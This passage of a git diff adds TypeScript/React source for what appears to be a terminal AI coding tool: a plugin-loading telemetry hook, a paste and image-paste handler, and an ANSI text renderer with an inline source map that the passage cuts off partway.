+        `Loaded plugins - Enabled: ${enabled.length}, Disabled: ${disabled.length}, Commands: ${commands.length}, Agents: ${agents.length}, Errors: ${errors.length}`,
+      )
+
+      // Count component types across enabled plugins
+      const hook_count = enabled.reduce((sum, p) => {
+        if (!p.hooksConfig) return sum
+        return (
+          sum +
+          Object.values(p.hooksConfig).reduce(
+            (s, matchers) =>
+              s + (matchers?.reduce((h, m) => h + m.hooks.length, 0) ?? 0),
+            0,
+          )
+        )
+      }, 0)
+
+      return {
+        enabled_count: enabled.length,
+        disabled_count: disabled.length,
+        inline_count: count(enabled, p => p.source.endsWith('@inline')),
+        marketplace_count: count(enabled, p => !p.source.endsWith('@inline')),
+        error_count: errors.length,
+        skill_count: commands.length,
+        agent_count: agents.length,
+        hook_count,
+        mcp_count,
+        lsp_count,
+        // Ant-only: which plugins are enabled, to correlate with RSS/FPS.
+        // Kept separate from base metrics so it doesn't flow into
+        // logForDiagnosticsNoPII.
+        ant_enabled_names:
+          process.env.USER_TYPE === 'ant' && enabled.length > 0
+            ? (enabled
+                .map(p => p.name)
+                .sort()
+                .join(
+                  ',',
+                ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS)
+            : undefined,
+      }
+    } catch (error) {
+      // Only plugin loading errors should reach here - log for monitoring
+      const errorObj = toError(error)
+      logError(errorObj)
+      logForDebugging(`Error loading plugins: ${error}`)
+      // Set empty state on error, but preserve LSP errors and add the new error
+      setAppState(prevState => {
+        // Keep existing LSP/non-plugin-loading errors
+        const existingLspErrors = prevState.plugins.errors.filter(
+          e => e.source === 'lsp-manager' || e.source.startsWith('plugin:'),
+        )
+        const newError = {
+          type: 'generic-error' as const,
+          source: 'plugin-system',
+          error: errorObj.message,
+        }
+        return {
+          ...prevState,
+          plugins: {
+            ...prevState.plugins,
+            enabled: [],
+            disabled: [],
+            commands: [],
+            errors: [...existingLspErrors, newError],
+          },
+        }
+      })
+
+      return {
+        enabled_count: 0,
+        disabled_count: 0,
+        inline_count: 0,
+        marketplace_count: 0,
+        error_count: 1,
+        skill_count: 0,
+        agent_count: 0,
+        hook_count: 0,
+        mcp_count: 0,
+        lsp_count: 0,
+        load_failed: true,
+        ant_enabled_names: undefined,
+      }
+    }
+  }, [setAppState, addNotification])
+
+  // Load plugins on mount and emit telemetry
+  useEffect(() => {
+    if (!enabled) return
+    void initialPluginLoad().then(metrics => {
+      const { ant_enabled_names, ...baseMetrics } = metrics
+      const allMetrics = {
+        ...baseMetrics,
+        has_custom_plugin_cache_dir: !!process.env.CLAUDE_CODE_PLUGIN_CACHE_DIR,
+      }
+      logEvent('tengu_plugins_loaded', {
+        ...allMetrics,
+        ...(ant_enabled_names !== undefined && {
+          enabled_names: ant_enabled_names,
+        }),
+      })
+      logForDiagnosticsNoPII('info', 'tengu_plugins_loaded', allMetrics)
+    })
+  }, [initialPluginLoad, enabled])
+
+  // Plugin state changed on disk (background reconcile, /plugin menu,
+  // external settings edit). Show a notification; user runs /reload-plugins
+  // to apply. The previous auto-refresh here had a stale-cache bug (only
+  // cleared loadAllPlugins, downstream memoized loaders returned old data)
+  // and was incomplete (no MCP, no agentDefinitions). /reload-plugins
+  // handles all of that correctly via refreshActivePlugins().
+  useEffect(() => {
+    if (!enabled || !needsRefresh) return
+    addNotification({
+      key: 'plugin-reload-pending',
+      text: 'Plugins changed. Run /reload-plugins to activate.',
+      color: 'suggestion',
+      priority: 'low',
+    })
+    // Do NOT auto-refresh. Do NOT reset needsRefresh — /reload-plugins
+    // consumes it via refreshActivePlugins().
+  }, [enabled, needsRefresh, addNotification])
+}
diff --git a/cc-haha/src/hooks/usePasteHandler.ts b/cc-haha/src/hooks/usePasteHandler.ts
new file mode 100644
index 0000000..d6257b9
--- /dev/null
+++ b/cc-haha/src/hooks/usePasteHandler.ts
@@ -0,0 +1,285 @@
+import { basename } from 'path'
+import React from 'react'
+import { logError } from 'src/utils/log.js'
+import { useDebounceCallback } from 'usehooks-ts'
+import type { InputEvent, Key } from '../ink.js'
+import {
+  getImageFromClipboard,
+  isImageFilePath,
+  PASTE_THRESHOLD,
+  tryReadImageFromPath,
+} from '../utils/imagePaste.js'
+import type { ImageDimensions } from '../utils/imageResizer.js'
+import { getPlatform } from '../utils/platform.js'
+
+const CLIPBOARD_CHECK_DEBOUNCE_MS = 50
+const PASTE_COMPLETION_TIMEOUT_MS = 100
+
+type PasteHandlerProps = {
+  onPaste?: (text: string) => void
+  onInput: (input: string, key: Key) => void
+  onImagePaste?: (
+    base64Image: string,
+    mediaType?: string,
+    filename?: string,
+    dimensions?: ImageDimensions,
+    sourcePath?: string,
+  ) => void
+}
+
+export function usePasteHandler({
+  onPaste,
+  onInput,
+  onImagePaste,
+}: PasteHandlerProps): {
+  wrappedOnInput: (input: string, key: Key, event: InputEvent) => void
+  pasteState: {
+    chunks: string[]
+    timeoutId: ReturnType<typeof setTimeout> | null
+  }
+  isPasting: boolean
+} {
+  const [pasteState, setPasteState] = React.useState<{
+    chunks: string[]
+    timeoutId: ReturnType<typeof setTimeout> | null
+  }>({ chunks: [], timeoutId: null })
+  const [isPasting, setIsPasting] = React.useState(false)
+  const isMountedRef = React.useRef(true)
+  // Mirrors pasteState.timeoutId but updated synchronously. When paste + a
+  // keystroke arrive in the same stdin chunk, both wrappedOnInput calls run
+  // in the same discreteUpdates batch before React commits — the second call
+  // reads stale pasteState.timeoutId (null) and takes the onInput path. If
+  // that key is Enter, it submits the old input and the paste is lost.
+  const pastePendingRef = React.useRef(false)
+
+  const isMacOS = React.useMemo(() => getPlatform() === 'macos', [])
+
+  React.useEffect(() => {
+    return () => {
+      isMountedRef.current = false
+    }
+  }, [])
+
+  const checkClipboardForImageImpl = React.useCallback(() => {
+    if (!onImagePaste || !isMountedRef.current) return
+
+    void getImageFromClipboard()
+      .then(imageData => {
+        if (imageData && isMountedRef.current) {
+          onImagePaste(
+            imageData.base64,
+            imageData.mediaType,
+            undefined, // no filename for clipboard images
+            imageData.dimensions,
+          )
+        }
+      })
+      .catch(error => {
+        if (isMountedRef.current) {
+          logError(error as Error)
+        }
+      })
+      .finally(() => {
+        if (isMountedRef.current) {
+          setIsPasting(false)
+        }
+      })
+  }, [onImagePaste])
+
+  const checkClipboardForImage = useDebounceCallback(
+    checkClipboardForImageImpl,
+    CLIPBOARD_CHECK_DEBOUNCE_MS,
+  )
+
+  const resetPasteTimeout = React.useCallback(
+    (currentTimeoutId: ReturnType<typeof setTimeout> | null) => {
+      if (currentTimeoutId) {
+        clearTimeout(currentTimeoutId)
+      }
+      return setTimeout(
+        (
+          setPasteState,
+          onImagePaste,
+          onPaste,
+          setIsPasting,
+          checkClipboardForImage,
+          isMacOS,
+          pastePendingRef,
+        ) => {
+          pastePendingRef.current = false
+          setPasteState(({ chunks }) => {
+            // Join chunks and filter out orphaned focus sequences
+            // These can appear when focus events split during paste
+            const pastedText = chunks
+              .join('')
+              .replace(/\[I$/, '')
+              .replace(/\[O$/, '')
+
+            // Check if the pasted text contains image file paths
+            // When dragging multiple images, they may come as:
+            // 1. Newline-separated paths (common in some terminals)
+            // 2. Space-separated paths (common when dragging from Finder)
+            // For space-separated paths, we split on spaces that precede absolute paths:
+            // - Unix: space followed by `/` (e.g., `/Users/...`)
+            // - Windows: space followed by drive letter and `:\` (e.g., `C:\Users\...`)
+            // This works because spaces within paths are escaped (e.g., `file\ name.png`)
+            const lines = pastedText
+              .split(/ (?=\/|[A-Za-z]:\\)/)
+              .flatMap(part => part.split('\n'))
+              .filter(line => line.trim())
+            const imagePaths = lines.filter(line => isImageFilePath(line))
+
+            if (onImagePaste && imagePaths.length > 0) {
+              const isTempScreenshot =
+                /\/TemporaryItems\/.*screencaptureui.*\/Screenshot/i.test(
+                  pastedText,
+                )
+
+              // Process all image paths
+              void Promise.all(
+                imagePaths.map(imagePath => tryReadImageFromPath(imagePath)),
+              ).then(results => {
+                const validImages = results.filter(
+                  (r): r is NonNullable<typeof r> => r !== null,
+                )
+
+                if (validImages.length > 0) {
+                  // Successfully read at least one image
+                  for (const imageData of validImages) {
+                    const filename = basename(imageData.path)
+                    onImagePaste(
+                      imageData.base64,
+                      imageData.mediaType,
+                      filename,
+                      imageData.dimensions,
+                      imageData.path,
+                    )
+                  }
+                  // If some paths weren't images, paste them as text
+                  const nonImageLines = lines.filter(
+                    line => !isImageFilePath(line),
+                  )
+                  if (nonImageLines.length > 0 && onPaste) {
+                    onPaste(nonImageLines.join('\n'))
+                  }
+                  setIsPasting(false)
+                } else if (isTempScreenshot && isMacOS) {
+                  // For temporary screenshot files that no longer exist, try clipboard
+                  checkClipboardForImage()
+                } else {
+                  if (onPaste) {
+                    onPaste(pastedText)
+                  }
+                  setIsPasting(false)
+                }
+              })
+              return { chunks: [], timeoutId: null }
+            }
+
+            // If paste is empty (common when trying to paste images with Cmd+V),
+            // check if clipboard has an image (macOS only)
+            if (isMacOS && onImagePaste && pastedText.length === 0) {
+              checkClipboardForImage()
+              return { chunks: [], timeoutId: null }
+            }
+
+            // Handle regular paste
+            if (onPaste) {
+              onPaste(pastedText)
+            }
+            // Reset isPasting state after paste is complete
+            setIsPasting(false)
+            return { chunks: [], timeoutId: null }
+          })
+        },
+        PASTE_COMPLETION_TIMEOUT_MS,
+        setPasteState,
+        onImagePaste,
+        onPaste,
+        setIsPasting,
+        checkClipboardForImage,
+        isMacOS,
+        pastePendingRef,
+      )
+    },
+    [checkClipboardForImage, isMacOS, onImagePaste, onPaste],
+  )
+
+  // Paste detection is now done via the InputEvent's keypress.isPasted flag,
+  // which is set by the keypress parser when it detects bracketed paste mode.
+  // This avoids the race condition caused by having multiple listeners on stdin.
+  // Previously, we had a stdin.on('data') listener here which competed with
+  // the 'readable' listener in App.tsx, causing dropped characters.
+
+  const wrappedOnInput = (input: string, key: Key, event: InputEvent): void => {
+    // Detect paste from the parsed keypress event.
+    // The keypress parser sets isPasted=true for content within bracketed paste.
+    const isFromPaste = event.keypress.isPasted
+
+    // If this is pasted content, set isPasting state for UI feedback
+    if (isFromPaste) {
+      setIsPasting(true)
+    }
+
+    // Handle large pastes (>PASTE_THRESHOLD chars)
+    // Usually we get one or two input characters at a time. If we
+    // get more than the threshold, the user has probably pasted.
+    // Unfortunately node batches long pastes, so it's possible
+    // that we would see e.g. 1024 characters and then just a few
+    // more in the next frame that belong with the original paste.
+    // This batching number is not consistent.
+
+    // Handle potential image filenames (even if they're shorter than paste threshold)
+    // When dragging multiple images, they may come as newline-separated or
+    // space-separated paths. Split on spaces preceding absolute paths:
+    // - Unix: ` /` - Windows: ` C:\` etc.
+    const hasImageFilePath = input
+      .split(/ (?=\/|[A-Za-z]:\\)/)
+      .flatMap(part => part.split('\n'))
+      .some(line => isImageFilePath(line.trim()))
+
+    // Handle empty paste (clipboard image on macOS)
+    // When the user pastes an image with Cmd+V, the terminal sends an empty
+    // bracketed paste sequence. The keypress parser emits this as isPasted=true
+    // with empty input.
+    if (isFromPaste && input.length === 0 && isMacOS && onImagePaste) {
+      checkClipboardForImage()
+      // Reset isPasting since there's no text content to process
+      setIsPasting(false)
+      return
+    }
+
+    // Check if we should handle as paste (from bracketed paste, large input, or continuation)
+    const shouldHandleAsPaste =
+      onPaste &&
+      (input.length > PASTE_THRESHOLD ||
+        pastePendingRef.current ||
+        hasImageFilePath ||
+        isFromPaste)
+
+    if (shouldHandleAsPaste) {
+      pastePendingRef.current = true
+      setPasteState(({ chunks, timeoutId }) => {
+        return {
+          chunks: [...chunks, input],
+          timeoutId: resetPasteTimeout(timeoutId),
+        }
+      })
+      return
+    }
+    onInput(input, key)
+    if (input.length > 10) {
+      // Ensure that setIsPasting is turned off on any other multicharacter
+      // input, because the stdin buffer may chunk at arbitrary points and split
+      // the closing escape sequence if the input length is too long for the
+      // stdin buffer.
+      setIsPasting(false)
+    }
+  }
+
+  return {
+    wrappedOnInput,
+    pasteState,
+    isPasting,
+  }
+}
diff --git a/cc-haha/src/ink/.syncthing.renderer.ts.tmp b/cc-haha/src/ink/.syncthing.renderer.ts.tmp
new file mode 100644
index 0000000..da7a041
Binary files /dev/null and b/cc-haha/src/ink/.syncthing.renderer.ts.tmp differ
diff --git a/cc-haha/src/ink/Ansi.tsx b/cc-haha/src/ink/Ansi.tsx
new file mode 100644
index 0000000..aef5f60
--- /dev/null
+++ b/cc-haha/src/ink/Ansi.tsx
@@ -0,0 +1,292 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import Link from './components/Link.js';
+import Text from './components/Text.js';
+import type { Color } from './styles.js';
+import { type NamedColor, Parser, type Color as TermioColor, type TextStyle } from './termio.js';
+type Props = {
+  children: string;
+  /** When true, force all text to be rendered with dim styling */
+  dimColor?: boolean;
+};
+type SpanProps = {
+  color?: Color;
+  backgroundColor?: Color;
+  dim?: boolean;
+  bold?: boolean;
+  italic?: boolean;
+  underline?: boolean;
+  strikethrough?: boolean;
+  inverse?: boolean;
+  hyperlink?: string;
+};
+
+/**
+ * Component that parses ANSI escape codes and renders them using Text components.
+ *
+ * Use this as an escape hatch when you have pre-formatted ANSI strings from
+ * external tools (like cli-highlight) that need to be rendered in Ink.
+ *
+ * Memoized to prevent re-renders when parent changes but children string is the same.
+ */
+export const Ansi = React.memo(function Ansi(t0) {
+  const $ = _c(12);
+  const {
+    children,
+    dimColor
+  } = t0;
+  if (typeof children !== "string") {
+    let t1;
+    if ($[0] !== children || $[1] !== dimColor) {
+      t1 = dimColor ? <Text dim={true}>{String(children)}</Text> : <Text>{String(children)}</Text>;
+      $[0] = children;
+      $[1] = dimColor;
+      $[2] = t1;
+    } else {
+      t1 = $[2];
+    }
+    return t1;
+  }
+  if (children === "") {
+    return null;
+  }
+  let t1;
+  let t2;
+  if ($[3] !== children || $[4] !== dimColor) {
+    t2 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const spans = parseToSpans(children);
+      if (spans.length === 0) {
+        t2 = null;
+        break bb0;
+      }
+      if (spans.length === 1 && !hasAnyProps(spans[0].props)) {
+        t2 = dimColor ? <Text dim={true}>{spans[0].text}</Text> : <Text>{spans[0].text}</Text>;
+        break bb0;
+      }
+      let t3;
+      if ($[7] !== dimColor) {
+        t3 = (span, i) => {
+          const hyperlink = span.props.hyperlink;
+          if (dimColor) {
+            span.props.dim = true;
+          }
+          const hasTextProps = hasAnyTextProps(span.props);
+          if (hyperlink) {
+            return hasTextProps ? <Link key={i} url={hyperlink}><StyledText color={span.props.color} backgroundColor={span.props.backgroundColor} dim={span.props.dim} bold={span.props.bold} italic={span.props.italic} underline={span.props.underline} strikethrough={span.props.strikethrough} inverse={span.props.inverse}>{span.text}</StyledText></Link> : <Link key={i} url={hyperlink}>{span.text}</Link>;
+          }
+          return hasTextProps ? <StyledText key={i} color={span.props.color} backgroundColor={span.props.backgroundColor} dim={span.props.dim} bold={span.props.bold} italic={span.props.italic} underline={span.props.underline} strikethrough={span.props.strikethrough} inverse={span.props.inverse}>{span.text}</StyledText> : span.text;
+        };
+        $[7] = dimColor;
+        $[8] = t3;
+      } else {
+        t3 = $[8];
+      }
+      t1 = spans.map(t3);
+    }
+    $[3] = children;
+    $[4] = dimColor;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t1 = $[5];
+    t2 = $[6];
+  }
+  if (t2 !== Symbol.for("react.early_return_sentinel")) {
+    return t2;
+  }
+  const content = t1;
+  let t3;
+  if ($[9] !== content || $[10] !== dimColor) {
+    t3 = dimColor ? <Text dim={true}>{content}</Text> : <Text>{content}</Text>;
+    $[9] = content;
+    $[10] = dimColor;
+    $[11] = t3;
+  } else {
+    t3 = $[11];
+  }
+  return t3;
+});
+type Span = {
+  text: string;
+  props: SpanProps;
+};
+
+/**
+ * Parse an ANSI string into spans using the termio parser.
+ */
+function parseToSpans(input: string): Span[] {
+  const parser = new Parser();
+  const actions = parser.feed(input);
+  const spans: Span[] = [];
+  let currentHyperlink: string | undefined;
+  for (const action of actions) {
+    if (action.type === 'link') {
+      if (action.action.type === 'start') {
+        currentHyperlink = action.action.url;
+      } else {
+        currentHyperlink = undefined;
+      }
+      continue;
+    }
+    if (action.type === 'text') {
+      const text = action.graphemes.map(g => g.value).join('');
+      if (!text) continue;
+      const props = textStyleToSpanProps(action.style);
+      if (currentHyperlink) {
+        props.hyperlink = currentHyperlink;
+      }
+
+      // Try to merge with previous span if props match
+      const lastSpan = spans[spans.length - 1];
+      if (lastSpan && propsEqual(lastSpan.props, props)) {
+        lastSpan.text += text;
+      } else {
+        spans.push({
+          text,
+          props
+        });
+      }
+    }
+  }
+  return spans;
+}
+
+/**
+ * Convert termio's TextStyle to SpanProps.
+ */
+function textStyleToSpanProps(style: TextStyle): SpanProps {
+  const props: SpanProps = {};
+  if (style.bold) props.bold = true;
+  if (style.dim) props.dim = true;
+  if (style.italic) props.italic = true;
+  if (style.underline !== 'none') props.underline = true;
+  if (style.strikethrough) props.strikethrough = true;
+  if (style.inverse) props.inverse = true;
+  const fgColor = colorToString(style.fg);
+  if (fgColor) props.color = fgColor;
+  const bgColor = colorToString(style.bg);
+  if (bgColor) props.backgroundColor = bgColor;
+  return props;
+}
+
+// Map termio named colors to the ansi: format
+const NAMED_COLOR_MAP: Record<NamedColor, string> = {
+  black: 'ansi:black',
+  red: 'ansi:red',
+  green: 'ansi:green',
+  yellow: 'ansi:yellow',
+  blue: 'ansi:blue',
+  magenta: 'ansi:magenta',
+  cyan: 'ansi:cyan',
+  white: 'ansi:white',
+  brightBlack: 'ansi:blackBright',
+  brightRed: 'ansi:redBright',
+  brightGreen: 'ansi:greenBright',
+  brightYellow: 'ansi:yellowBright',
+  brightBlue: 'ansi:blueBright',
+  brightMagenta: 'ansi:magentaBright',
+  brightCyan: 'ansi:cyanBright',
+  brightWhite: 'ansi:whiteBright'
+};
+
+/**
+ * Convert termio's Color to the string format used by Ink.
+ */
+function colorToString(color: TermioColor): Color | undefined {
+  switch (color.type) {
+    case 'named':
+      return NAMED_COLOR_MAP[color.name] as Color;
+    case 'indexed':
+      return `ansi256(${color.index})` as Color;
+    case 'rgb':
+      return `rgb(${color.r},${color.g},${color.b})` as Color;
+    case 'default':
+      return undefined;
+  }
+}
+
+/**
+ * Check if two SpanProps are equal for merging.
+ */
+function propsEqual(a: SpanProps, b: SpanProps): boolean {
+  return a.color === b.color && a.backgroundColor === b.backgroundColor && a.bold === b.bold && a.dim === b.dim && a.italic === b.italic && a.underline === b.underline && a.strikethrough === b.strikethrough && a.inverse === b.inverse && a.hyperlink === b.hyperlink;
+}
+function hasAnyProps(props: SpanProps): boolean {
+  return props.color !== undefined || props.backgroundColor !== undefined || props.dim === true || props.bold === true || props.italic === true || props.underline === true || props.strikethrough === true || props.inverse === true || props.hyperlink !== undefined;
+}
+function hasAnyTextProps(props: SpanProps): boolean {
+  return props.color !== undefined || props.backgroundColor !== undefined || props.dim === true || props.bold === true || props.italic === true || props.underline === true || props.strikethrough === true || props.inverse === true;
+}
+
+// Text style props without weight (bold/dim) - these are handled separately
+type BaseTextStyleProps = {
+  color?: Color;
+  backgroundColor?: Color;
+  italic?: boolean;
+  underline?: boolean;
+  strikethrough?: boolean;
+  inverse?: boolean;
+};
+
+// Wrapper component that handles bold/dim mutual exclusivity for Text
+function StyledText(t0) {
+  const $ = _c(14);
+  let bold;
+  let children;
+  let dim;
+  let rest;
+  if ($[0] !== t0) {
+    ({
+      bold,
+      dim,
+      children,
+      ...rest
+    } = t0);
+    $[0] = t0;
+    $[1] = bold;
+    $[2] = children;
+    $[3] = dim;
+    $[4] = rest;
+  } else {
+    bold = $[1];
+    children = $[2];
+    dim = $[3];
+    rest = $[4];
+  }
+  if (dim) {
+    let t1;
+    if ($[5] !== children || $[6] !== rest) {
+      t1 = <Text {...rest} dim={true}>{children}</Text>;
+      $[5] = children;
+      $[6] = rest;
+      $[7] = t1;
+    } else {
+      t1 = $[7];
+    }
+    return t1;
+  }
+  if (bold) {
+    let t1;
+    if ($[8] !== children || $[9] !== rest) {
+      t1 = <Text {...rest} bold={true}>{children}</Text>;
+      $[8] = children;
+      $[9] = rest;
+      $[10] = t1;
+    } else {
+      t1 = $[10];
+    }
+    return t1;
+  }
+  let t1;
+  if ($[11] !== children || $[12] !== rest) {
+    t1 = <Text {...rest}>{children}</Text>;
+    $[11] = children;
+    $[12] = rest;
+    $[13] = t1;
+  } else {
+    t1 = $[13];
+  }
+  return t1;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkxpbmsiLCJUZXh0IiwiQ29sb3IiLCJOYW1lZENvbG9yIiwiUGFyc2VyIiwiVGVybWlvQ29sb3IiLCJUZXh0U3R5bGUiLCJQcm9wcyIsImNoaWxkcmVuIiwiZGltQ29sb3IiLCJTcGFuUHJvcHMiLCJjb2xvciIsImJhY2tncm91bmRDb2xvciIsImRpbSIsImJvbGQiLCJpdGFsaWMiLCJ1bmRlcmxpbmUiLCJzdHJpa2V0aHJvdWdoIiwiaW52ZXJzZSIsImh5cGVybGluayIsIkFuc2kiLCJtZW1vIiwidDAiLCIkIiwiX2MiLCJ0MSIsIlN0cmluZyIsInQyIiwiU3ltYm9sIiwiZm9yIiwiYmIwIiwic3BhbnMiLCJwYXJzZVRvU3BhbnMiLCJsZW5ndGgiLCJoYXNBbnlQcm9wcyIsInByb3BzIiwidGV4dCIsInQzIiwic3BhbiIsImkiLCJoYXNUZXh0UHJvcHMiLCJoYXNBbnlUZXh0UHJvcHMiLCJtYXAiLCJjb250ZW50IiwiU3BhbiIsImlucHV0IiwicGFyc2VyIiwiYWN0aW9ucyIsImZlZWQiLCJjdXJyZW50SHlwZXJsaW5rIiwiYWN0aW9uIiwidHlwZSIsInVybCIsInVuZGVmaW5lZCIsImdyYXBoZW1lcyIsImciLCJ2YWx1ZSIsImpvaW4iLCJ0ZXh0U3R5bGVUb1NwYW5Qcm9wcyIsInN0eWxlIiwibGFzdFNwYW4iLCJwcm9wc0VxdWFsIiwicHVzaCIsImZnQ29sb3IiLCJjb2xvclRvU3RyaW5nIiwiZmciLCJiZ0NvbG9yIiwiYmciLCJOQU1FRF9DT0xPUl9NQVAiLCJSZWNvcmQiLCJibGFjayIsInJlZCIsImdyZWVuIiwieWVsbG93IiwiYmx1ZSIsIm1hZ2VudGEiLCJjeWFuIiwid2hpdGUiLCJicmlnaHRCbGFjayIsImJyaWdodFJlZCIsImJyaWdodEdyZWVuIiwiYnJpZ2h0WWVsbG93IiwiYnJpZ2h0Qmx1ZSIsImJyaWdodE1hZ2VudGEiLCJicmlnaHRDeWFuIiwiYnJpZ2h0V2hpdGUiLCJuYW1lIiwiaW5kZXgiLCJyIiwiYiIsImEiLCJCYXNlVGV4dFN0eWxlUHJvcHMiLCJTdHlsZWRUZXh0IiwicmVzdCJdLCJzb3VyY2VzIjpbIkFuc2kudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCBMaW5rIGZyb20gJy4vY29tcG9uZW50cy9MaW5rLmpzJ1xuaW1wb3J0IFRleHQgZnJvbSAnLi9jb21wb25lbnRzL1RleHQuanMnXG5pbXBvcnQgdHlwZSB7IENvbG9yIH0gZnJvbSAnLi9zdHlsZXMuanMnXG5pbXBvcnQge1xuICB0eXBlIE5hbWVkQ29sb3IsXG4gIFBhcnNlcixcbiAgdHlwZSBDb2xvciBhcyBUZXJtaW9Db2xvcixcbiAgdHlwZSBUZXh0U3R5bGUsXG59IGZyb20gJy4vdGVybWlvLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICBjaGlsZHJlbjogc3RyaW5nXG4gIC8qKiBXaGVuIHRydWUsIGZvcmNlIGFsbCB0ZXh0IHRvIGJlIHJlbmRlcmVkIHdpdGggZGltIHN0eWxpbmcgKi9cbiAgZGltQ29sb3I/OiBib29sZWFuXG59XG5cbnR5cGUgU3BhblByb3BzID0ge1xuICBjb2xvcj86IENvbG9yXG4gIGJhY2tncm91bmRDb2xvcj86IENvbG9yXG4gIGRpbT86IGJvb2xlYW5cbiAgYm9sZD86IGJvb2xlYW5cbiAgaXRhbGljPzogYm9vbGVhblxuICB1bmRlcmxpbmU/OiBib29sZWFuXG4gIHN0cmlrZXRocm91Z2g/OiBib29sZWFuXG4gIGludmVyc2U/OiBib29sZWFuXG4gIGh5cGVybGluaz86IHN0cmluZ1xufVxuXG4vKipcbiAqIENvbXBvbmVudCB0aGF0IHBhcnNlcyBBTlNJIGVzY2FwZSBjb2RlcyBhbmQgcmVuZGVycyB0aGVtIHVzaW5nIFRleHQgY29tcG9uZW50cy5cbiAqXG4gKiBVc2UgdGhpcyBhcyBhbiBlc2NhcGUgaGF0Y2ggd2hlbiB5b3UgaGF2ZSBwcmUtZm9ybWF0dGVkIEFOU0kgc3RyaW5ncyBmcm9tXG4gKiBleHRlcm5hbCB0b29scyAobGlrZSBjbGktaGlnaGxpZ2h0KSB0aGF0IG5lZWQgdG8gYmUgcmVuZGVyZWQgaW4gSW5rLlxuICpcbiAqIE1lbW9pemVkIHRvIHByZXZlbnQgcmUtcmVuZGVycyB3aGVuIHBhcmVudCBjaGFuZ2VzIGJ1dCBjaGlsZHJlbiBzdHJpbmcgaXMgdGhlIHNhbWUuXG4gKi9cbmV4cG9ydCBjb25zdCBBbnNpID0gUmVhY3QubWVtbyhmdW5jdGlvbiBBbnNpKHtcbiAgY2hpbGRyZW4sXG4gIGRpbUNvbG9yLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAodHlwZW9mIGNoaWxkcmVuICE9PSAnc3RyaW5nJykge1xuICAgIHJldHVybiBkaW1Db2xvciA/IChcbiAgICAgIDxUZXh0IGRpbT57U3RyaW5nKGNoaWxkcmVuKX08L1RleHQ+XG4gICAgKSA6IChcbiAgICAgIDxUZXh0PntTdHJpbmcoY2hpbGRyZW4pfTwvVGV4dD5cbiAgICApXG4gIH1cblxuICBpZiAoY2hpbGRyZW4gPT09ICcnKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIGNvbnN0IHNwYW5zID0gcGFyc2VUb1NwYW5zKGNoaWxkcmVuKVxuXG4gIGlmIChzcGFucy5sZW5ndGggPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgaWYgKHNwYW5zLmxlbmd0aCA9PT0gMSAmJiAhaGFzQW55UHJvcHMoc3BhbnNbMF0hLnByb3BzKSkge1xuICAgIHJldHVybiBkaW1Db2xvciA/IChcbiAgICAgIDxUZXh0IGRpbT57c3BhbnNbMF0hLnRleHR9PC9UZXh0PlxuICAgICkgOiAoXG4gICAgICA8VGV4dD57c3BhbnNbMF0hLnRleHR9PC9UZXh0PlxuICAgIClcbiAgfVxuXG4gIGNvbnN0IGNvbnRlbnQgPSBzcGFucy5tYXAoKHNwYW4sIGkpID0+IHtcbiAgICBjb25zdCBoeXBlcmxpbmsgPSBzcGFuLnByb3BzLmh5cGVybGlua1xuICAgIC8vIFdoZW4gZGltQ29sb3IgaXMgZm9yY2VkLCBvdmVycmlkZSB0aGUgc3BhbidzIGRpbSBwcm9wXG4gICAgaWYgKGRpbUNvbG9yKSB7XG4gICAgICBzcGFuLnByb3BzLmRpbSA9IHRydWVcbiAgICB9XG4gICAgY29uc3QgaGFzVGV4dFByb3BzID0gaGFzQW55VGV4dFByb3BzKHNwYW4ucHJvcHMpXG5cbiAgICBpZiAoaHlwZXJsaW5rKSB7XG4gICAgICByZXR1cm4gaGFzVGV4dFByb3BzID8gKFxuICAgICAgICA8TGluayBrZXk9e2l9IHVybD17aHlwZXJsaW5rfT5cbiAgICAgICAgICA8U3R5bGVkVGV4dFxuICAgICAgICAgICAgY29sb3I9e3NwYW4ucHJvcHMuY29sb3J9XG4gICAgICAgICAgICBiYWNrZ3JvdW5kQ29sb3I9e3NwYW4ucHJvcHMuYmFja2dyb3VuZENvbG9yfVxuICAgICAgICAgICAgZGltPXtzcGFuLnByb3BzLmRpbX1cbiAgICAgICAgICAgIGJvbGQ9e3NwYW4ucHJvcHMuYm9sZH1cbiAgICAgICAgICAgIGl0YWxpYz17c3Bhbi5wcm9wcy5pdGFsaWN9XG4gICAgICAgICAgICB1bmRlcmxpbmU9e3NwYW4ucHJvcHMudW5kZXJsaW5lfVxuICAgICAgICAgICAgc3RyaWtldGhyb3VnaD17c3Bhbi5wcm9wcy5zdHJpa2V0aHJvdWdofVxuICAgICAgICAgICAgaW52ZXJzZT17c3Bhbi5wcm9wcy5pbnZlcnNlfVxuICAgICAgICAgID5cbiAgICAgICAgICAgIHtzcGFuLnRleHR9XG4gICAgICAgICAgPC9TdHlsZWRUZXh0PlxuICAgICAgICA8L0xpbms+XG4gICAgICApIDogKFxuICAgICAgICA8TGluayBrZXk9e2l9IHVybD17aHlwZXJsaW5rfT5cbiAgICAgICAgICB7c3Bhbi50ZXh0fVxuICAgICAgICA8L0xpbms+XG4gICAgICApXG4gICAgfVxuXG4gICAgcmV0dXJuIGhhc1RleHRQcm9wcyA/IChcbiAgICAgIDxTdHlsZWRUZXh0XG4gICAgICAgIGtleT17aX1cbiAgICAgICAgY29sb3I9e3NwYW4ucHJvcHMuY29sb3J9XG4gICAgICAgIGJhY2tncm91bmRDb2xvcj17c3Bhbi5wcm9wcy5iYWNrZ3JvdW5kQ29sb3J9XG4gICAgICAgIGRpbT17c3Bhbi5wcm9wcy5kaW19XG4gICAgICAgIGJvbGQ9e3NwYW4ucHJvcHMuYm9sZH1cbiAgICAgICAgaXRhbGljPXtzcGFuLnByb3BzLml0YWxpY31cbiAgICAgICAgdW5kZXJsaW5lPXtzcGFuLnByb3BzLnVuZGVybGluZX1cbiAgICAgICAgc3